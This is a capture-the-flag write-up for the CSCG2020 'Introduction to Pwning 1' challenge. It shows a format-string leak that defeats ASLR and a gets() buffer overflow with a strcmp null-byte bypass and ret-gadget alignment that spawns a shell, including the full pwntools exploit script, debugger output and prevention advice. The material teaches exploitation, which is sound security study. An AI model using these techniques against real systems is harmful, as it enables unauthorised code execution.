

CSCG2020 - Introduction to Pwning 1 WriteUp

Author: @Tibotix

The Introduction to Pwning 1 is a Pwning challenge with difficulty "Baby".

To begin we are provided with a zip compressed file that contains all necessary challenge files and a docker-compose file. It turns out that we have to interact with an program over the network, for example netcat, and the goal is to read the flag file which is stored on the server. With the docker-compose file we can easily set up our own local server, so now lets go.

Research

This challenge also provides us with the source code of the pwn1 program which we interact with.

At the top we can see that the program was compiled without the stack canary protection so we can smash the stack without problems.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>

// pwn1: gcc pwn1.c -o pwn1 -fno-stack-protector
```

Next a few helper functions that we can ignore are declared and then the main logic of the program is implemented.

We can find two functions, `welcome` and `AAAAAAAAA`:

```
// ----- MENU

void WIngardium_leviosa() {
    printf("          \n");
    printf("| You are a Slytherin.. |\n");
    printf("          \n");
    system("/bin/sh");
}

void welcome() {
    char read_buf[0xff];
    printf("Enter your witch name:\n");
    gets(read_buf);
    printf("          \n");
    printf("| You are a Hufflepuff! |\n");
    printf("          \n");
    printf(read_buf);
}
```

```

void AAAAAAAA() {
    char read_buf[0xff];

    printf(" enter your magic spell:\n");
    gets(read_buf);
    if(strcmp(read_buf, "Expelliarmus") == 0) {
        printf("~ Protego!\n");
    } else {
        printf("-10 Points for Hufflepuff!\n");
        _exit(0);
    }
}

// ----- MAIN

void main(int argc, char* argv[]) {
    ignore_me_init_buffering();
    ignore_me_init_signal();

    welcome();
    AAAAAAAA();
}

```

You also should notice the `Wingardium_Leviosa` function which obviously looked kinda like the "goal function" cause it spawns a new shell.
But this function gets never called.

So our primary goal is to redirect code execution in order to gain a shell and read the "flag" file which is hosted on the target server `hax1.allesctf.net:9100`.

Exploitation

We obviously have a vulnerability in the `welcome` and `AAAAAAA` function:

```

char read_buf[0xff];
gets(read_buf);

```

`gets` never checks the boundary of the buffer, so we can write more than `0xff` bytes and overwrite the return address of the current Stackframe.

My first thought was to overflow the return address in the `welcome` Stackframe to redirect code execution to `Wingardium_Leviosa` but that turned out to be impossible without knowing the exact position of the `Wingardium_Leviosa` function, cause everytime you run the program, the address change.

That behaviour looks pretty much like ASLR, and a quick look at checksec verifies that ASLR, RELRO, and Stack execution protection are all enabled:

```

root@67c9239c1cbf:/pwd# checksec ./pwn1
[*] '/pwd/pwn1'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled

```

URGG!! That I should had noticed before. But, anyway lets move on.

So we have to somehow dynamically get the address of `WINGardium_leviosa`, and use this information to overflow the return address in the `AAAAAAA` Stackframe.

Base Address Leak through Format String Exploit

Another vulnerability I noticed is the wrong usage of `printf` function in `welcome`, which allows us a Format String attack:

```
printf(read_buf);
```

From [OWASP](#):

The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. In this way, the attacker could execute code, read the stack, or cause a segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.

and [Wikipedia](#):

The problem stems from the use of unchecked user input as the format string parameter in certain C functions that perform formatting, such as `printf()`. A malicious user may use the `%s` and `%x` format tokens, among others, to print data from the call stack or possibly other locations in memory. One may also write arbitrary data to arbitrary locations using the `%n` format token, which commands `printf()` and similar functions to write the number of bytes formatted to an address stored on the stack.

Our Goal with this Format String exploit is to somehow get the base address of the `.code` section, so that we can calculate the address of the `WINGardium_leviosa` function relative to the base address

But how can we get that base address? Well, we could read the return address of the current `welcome` Stackframe. That address points to an instruction in `main` and that address has an static offset to the base address. So the formula to calculate the base address would then be:

```
base_address = ret_addr - offset_ret_addr_to_base_addr
```

First let's read 50 addresses from the stack. The formatter `%p` expects a pointer from type `void*` so let's use this as our formatter.

First I've attached `gdb` to the server and set a breakpoint when calling the `printf` function:

```
End of assembler dump.
```

```
pwndbg> b* welcome + 94
```

```
Breakpoint 1 at 0x562560389a81
```

```
pwndbg>
```

Now I've send 50 times %p over netcat to my local server and we hit the breakpoint in gdb. Let's inspect the stack.

[illegible]

We can see that RDI, where the first argument for `printf`, the 50 `%p`'s, is stored, points at the top of the stack.

We also can see the return address to `0x55981a9d6b21` right after where `rbp` is pointing to.

Now continuing in gdb and look what we get as output from the format string.

[illegible]

OHH look! There is our return address 0x55981a9d6b21 !

That's cool. Now lets calculate how many `%p`'s we must supply in order to get exactly the return address.

Well, you can simply count on which index `0x55981a9d6b21` in the output is, but let's practice some more math:-).

The distance from the start of the `read_buf` variable to the return address is

```
>>> distance = 0x7ffe19d360d8 - 0x7ffe19d35fd0
>>> distance
264
```

Because half of this space is occupied by the `%p`'s and each is 3 bytes long, we get

```
>>> distance/2/3
44.0
```

Due to the calling conventions in 64-bit, we have to consider the registers, that also has an argument assigned:

- RSI
- RDX
- RCX
- R8
- R9

So finally, when we subtract these 5 registers, we get:

```
>>> distance/2/3-5
39.0
```

Instead of writing 39 times `%p` we can use the direct access formatter `%39$p`.

Now we can read the return address. Lets get the offset from it to the base address.

To get the current base address we use `vmmap` in gdb:

```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55dad15fd000 0x55dad15fe000 r-xp 1000 0 /pwd/pwn1
0x55dad17fe000 0x55dad17ff000 r--p 1000 1000 /pwd/pwn1
0x55dad17ff000 0x55dad1800000 rw-p 1000 2000 /pwd/pwn1
```

The last 12 bits have to be the offset.

Our previous return address was `0x55981a9d6b21`, so the offset is `0xb21` and thus the previous base address would have been `0x55981a9d6000`.

Now that we have a way to dynamically calculate the base address, we can easily calculate the address of `WIngardium_leviosa`, too.

Find the offset with `objdump`,

```
root@67c9239c1cbf:/pwd# objdump -D ./pwn1 | grep WIN
000000000000009ec <WIngardium_leviosa>:
root@67c9239c1cbf:/pwd#
```

and the formula for calculating the `WIngardium_leviosa` function is:

```
WIngardium_leviosa_location = base_address + 0x9ec
```

Buffer Overflow in `AAAAAAAAA`

To get the program returning into the `WIngardium_leviosa` function, the `ret` instruction in `AAAAA` must be executed.

But this only happens if the following if-case is true:

```
if(strcmp(read_buf, "Expelliarmus") == 0) {  
    printf("~ Protego!\n");
```

Otherwise the program will exit and never reaches the `ret` instruction:

```
} else {  
    printf("-10 Points for Hufflepuff!\n");  
    _exit(0);  
}
```

So how can we write more than just "Expelliarmus" in `read_buf` through `gets`, but at the same time trick `strcmp` into thinking it's really only "Expelliarmus"?

NULL-Terminated Strings.

In C every string is terminated by a NULL character `0x00`.

`strcmp` stops when encountering a NULL character, but `gets` stops only at a newline `\n`.

So we can craft our final payload like this:

```
payload = "Expelliarmus\x00" + "A"*251 + WIngardium_leviosa_location
```

cause "Expelliarmus\x00" is 13 bytes long, the padding to the return address is `0xff+8(rbp)-13 = 251` bytes long.

Let's put this all together in a python3 program. I am using pwntools for communication with the server:

```
from pwn import *  
import struct  
  
p = remote('127.0.0.1', 1024)  
print(p.recvline()) # Enter your witch name:\n  
base_address_leak_payload = b'%39$p'  
p.sendline(base_address_leak_payload)  
  
print(p.recvline().decode('utf-8')) # [REDACTED]  
print(p.recvline().decode('utf-8')) # | You are a Hufflepuff! |  
print(p.recvline().decode('utf-8')) # [REDACTED]  
  
memory_leak = p.recvline().split(b' ') # [0x????????????b21, 'enter', 'your',  
'magic', 'spell:\n']  
ret_addr = int(memory_leak[0], 16) # converting from string to hex  
base_address = ret_addr - 0xb21  
print('base_address: {0}'.format(hex(base_address)))  
  
WIngardium_leviosa_location = struct.pack('Q', base_address + 0x9ec) # pack in  
64-bits alligned  
payload = "Expelliarmus\x00" + "A"*251 + WIngardium_leviosa_location  
  
input('attach gdb')
```

```
p.sendline(payload)
p.interactive()
```

When we run this with gdb attached we can see our return address to `WINGardium_leviosa` is successfully injected:

```
pwndbg> stack
00:0000| rsp 0x7ffd93fc7ee0 ← 'Expelliarmus'
01:0008|    0x7ffd93fc7ee8 ← 0x4141410073756d72 /* 'rmus' */
02:0010|    0x7ffd93fc7ef0 ← 0x4141414141414141 ('AAAAAAA')
... ↓
pwndbg>
08:0040|    0x7ffd93fc7f20 ← 0x4141414141414141 ('AAAAAAA')
... ↓
pwndbg>
10:0080|    0x7ffd93fc7f60 ← 0x4141414141414141 ('AAAAAAA')
... ↓
pwndbg>
18:00c0|    0x7ffd93fc7fa0 ← 0x4141414141414141 ('AAAAAAA')
... ↓
pwndbg>
20:0100| rbp 0x7ffd93fc7fe0 ← 0x4141414141414141 ('AAAAAAA')
21:0108|    0x7ffd93fc7fe8 → 0x55df53a539ec (WINGardium_leviosa) ← push rbp
```

but when we continue gdb encounters an error:

```
RSP 0x7fff4ab111d8 → 0x7fff4ab181d8 ← 0xb001200000016
RIP 0x7f202704313d (do_system+365) ← movaps xmmword ptr [rsp + 0x50], xmm0
[ DISASM ]
► 0x7f202704313d <do_system+365> movaps xmmword ptr [rsp + 0x50], xmm0
0x7f2027043142 <do_system+370> call posix_spawn <0x7f20270fda00>

0x7f2027043147 <do_system+375> mov rdi, r12
0x7f202704314a <do_system+378> mov dword ptr [rsp + 8], eax
0x7f202704314e <do_system+382> call posix_spawnattr_destroy <0x7f20270fd900>

0x7f2027043153 <do_system+387> mov eax, dword ptr [rsp + 8]
0x7f2027043157 <do_system+391> test eax, eax
0x7f2027043159 <do_system+393> je do_system+504 <0x7f20270431c8>

0x7f202704315b <do_system+395> mov eax, dword ptr fs:[0x18]
0x7f2027043163 <do_system+403> test eax, eax
0x7f2027043165 <do_system+405> jne do_system+960 <0x7f2027043390>
[ STACK ]
00:0000| rsp 0x7fff4ab111d8 → 0x7fff4ab181d8 ← 0xb001200000016
01:0008| rdi-4 0x7fff4ab111e0 ← 0x2000000000
02:0010|    0x7fff4ab111e8 ← 0x0
... ↓
04:0020|    0x7fff4ab111f8 → 0x7f20271e9f98 ← 0x2d048
05:0028|    0x7fff4ab11200 → 0x7fff4ab11340 ← 0x0
06:0030|    0x7fff4ab11208 ← 0x7
07:0038|    0x7fff4ab11210 ← 0x800000007
[ BACKTRACE ]
► f 0 7f202704313d do_system+365
f 1 55dad15fda20 WINGardium_leviosa+52
f 2 7fff4ab11600
f 3 100000000
f 4 55dad15fdb30 __libc_csu_init
f 5 7f20270151e3 __libc_start_main+243
pwndbg> |
```

This is a bit strange cause we **successfully redirected code execution** to the `WINGardium_leviosa` function, but inside the `system("/bin/sh");` function call the program crashes..

Lets look at the instruction that causes the problem:

```
movaps xmmword ptr [rsp + 0x50], xmm0
```

From [MOVAPS Description](#):

When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte (128-bit version) boundary or a general-protection exception (#GP) will be generated.

So the destination operand is `[rsp + 0x50]`, and is obviously not 16-byte aligned.

Now how we can change `rsp`?

There are multiple instructions that do this:

- `push` instruction
- `pop` instruction
- `call` instruction
- `ret` instruction
- `sub` `rsp, 0x02`
- `add` `rsp, 0x08`

Lets use a tiny rop chain to reduce `rsp` by using one other `ret` instruction.

For the first `ret` we simply use the `ret` from `AAAAAAA` itself, so we basically jumping on point but reducing the stack.

The offset of this `ret` can simply be obtained

```
pwndbg> disassemble AAAAAAA
Dump of assembler code for function AAAAAAA:
0x000055df53a53a89 <+0>:    push    rbp
0x000055df53a53a8a <+1>:    mov     rbp, rsp
0x000055df53a53a8d <+4>:    sub     rsp, 0x100
0x000055df53a53a94 <+11>:   lea     rdi, [rip+0x246]          # 0x55df53a53ce1
0x000055df53a53a9b <+18>:   call   0x55df53a537a0 <puts@plt>
0x000055df53a53aa0 <+23>:   lea     rax, [rbp-0x100]
0x000055df53a53aa7 <+30>:   mov     rdi, rax
0x000055df53a53aaa <+33>:   mov     eax, 0x0
0x000055df53a53aaf <+38>:   call   0x55df53a53800 <gets@plt>
0x000055df53a53ab4 <+43>:   lea     rax, [rbp-0x100]
0x000055df53a53abb <+50>:   lea     rsi, [rip+0x238]          # 0x55df53a53cfa
0x000055df53a53ac2 <+57>:   mov     rdi, rax
0x000055df53a53ac5 <+60>:   call   0x55df53a537e0 <strcmp@plt>
0x000055df53a53aca <+65>:   test    eax, eax
0x000055df53a53acc <+67>:   jne     0x55df53a53adc <AAAAAAA+83>
0x000055df53a53ace <+69>:   lea     rdi, [rip+0x232]          # 0x55df53a53d07
0x000055df53a53ad5 <+76>:   call   0x55df53a537a0 <puts@plt>
0x000055df53a53ada <+81>:   jmp     0x55df53a53af2 <AAAAAAA+105>
0x000055df53a53adc <+83>:   lea     rdi, [rip+0x22f]          # 0x55df53a53d12
0x000055df53a53ae3 <+90>:   call   0x55df53a537a0 <puts@plt>
0x000055df53a53ae8 <+95>:   mov     edi, 0x0
0x000055df53a53aed <+100>:  call   0x55df53a53790 <_exit@plt>
0x000055df53a53af2 <+105>:  leave
0x000055df53a53af3 <+106>:  ret
End of assembler dump.
```

and now we put this all together and get our final exploit script:

```
from pwn import *
import struct

p = remote('127.0.0.1', 1024)
print(p.recvline()) # Enter your witch name:\n

base_address_leak_payload = b'%39$p'
p.sendline(base_address_leak_payload)

print(p.recvline().decode('utf-8')) # _____
print(p.recvline().decode('utf-8')) # | You are a Hufflepuff! |
```



```

print(p.recvline().decode('utf-8')) # _____

memory_leak = p.recvline().split(b' ') # [0x????????????b21, 'enter', 'your',
'magic', 'spell:\n']
ret_addr = int(memory_leak[0], 16) # converting from string to hex
base_address = ret_addr - 0xb21
print('base_address: {0}'.format(hex(base_address)))

WIngardium_leviosa_location = struct.pack('Q', base_address + 0x9ec)
AAAAAAA_ret_location = struct.pack('Q', base_address + 0xaf3)
shell_payload = b"Expelliarmus\x00" + b"A"*251 + AAAAAAA_ret_location +
WIngardium_leviosa_location

input('attach gdb')

p.sendline(shell_payload)
p.interactive()

```

When we run this script again , **it spawns a shell:**

```

root@67c9239c1cbf:/pwd# python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 1024: Done
b'Enter your witch name:\n'

_____

| You are a Hufflepuff! |
_____

base_address: 0x55d8aac0b000
attach gdb
[*] Switching to interactive mode
~ Protego!

_____

You are a Slytherin..

$ id
uid=0(root) gid=0(root) groups=0(root)

```

Now you only have to change the server and port address and you are good to go.

```

p = remote('hax1.allesctf.net', 9100)
...
...
...

```

Prevention

This section covers a few prevention measures for the above discussed security issues.

Format String Protection

Basically the best thing you can do to mitigate Format String exploits are the correct usage of `printf` **with formatters:**

```
printf("Hello, %s", name);
```

the compiler can help you find wrong usage of print-functions by turning on for example the `-Wformat` flag.

Also you always have to validate user-controlled input as this is generally a good idea and helps the prevention of Format String attacks, too.

Cause of the arbitrary read/write possibilities in Format String exploits you really should avoid these. The Buffer Overflow exploit in this challenge would be much more difficult to exploit without the Format String exploit to leak the base address and thus bypassing ASLR.

Bufér Overflow Protection

To prevent Buffer Overflow attacks such as one just discussed, a good idea is to turn on all security protections especially the stack-cookie protector and ASLR, cause then the overwrite from rbp and return address is much more difficult.

Another approach is to use safe "buffer-reading" functions such as `fgets` that checks the boundary of the input buffer.

On C++, also only use the `strn-` versions as they provide a boundary check.

Conclusion

This Challenge was really fun to me and I learned a lot. We used a Format String exploit to leak the base address and thus bypassing ASLR. Then we used a Buffer Overflow to redirect code execution to the wanted function.

I hope you now understood the exploit and techniques which we used and enjoyed this WriteUp.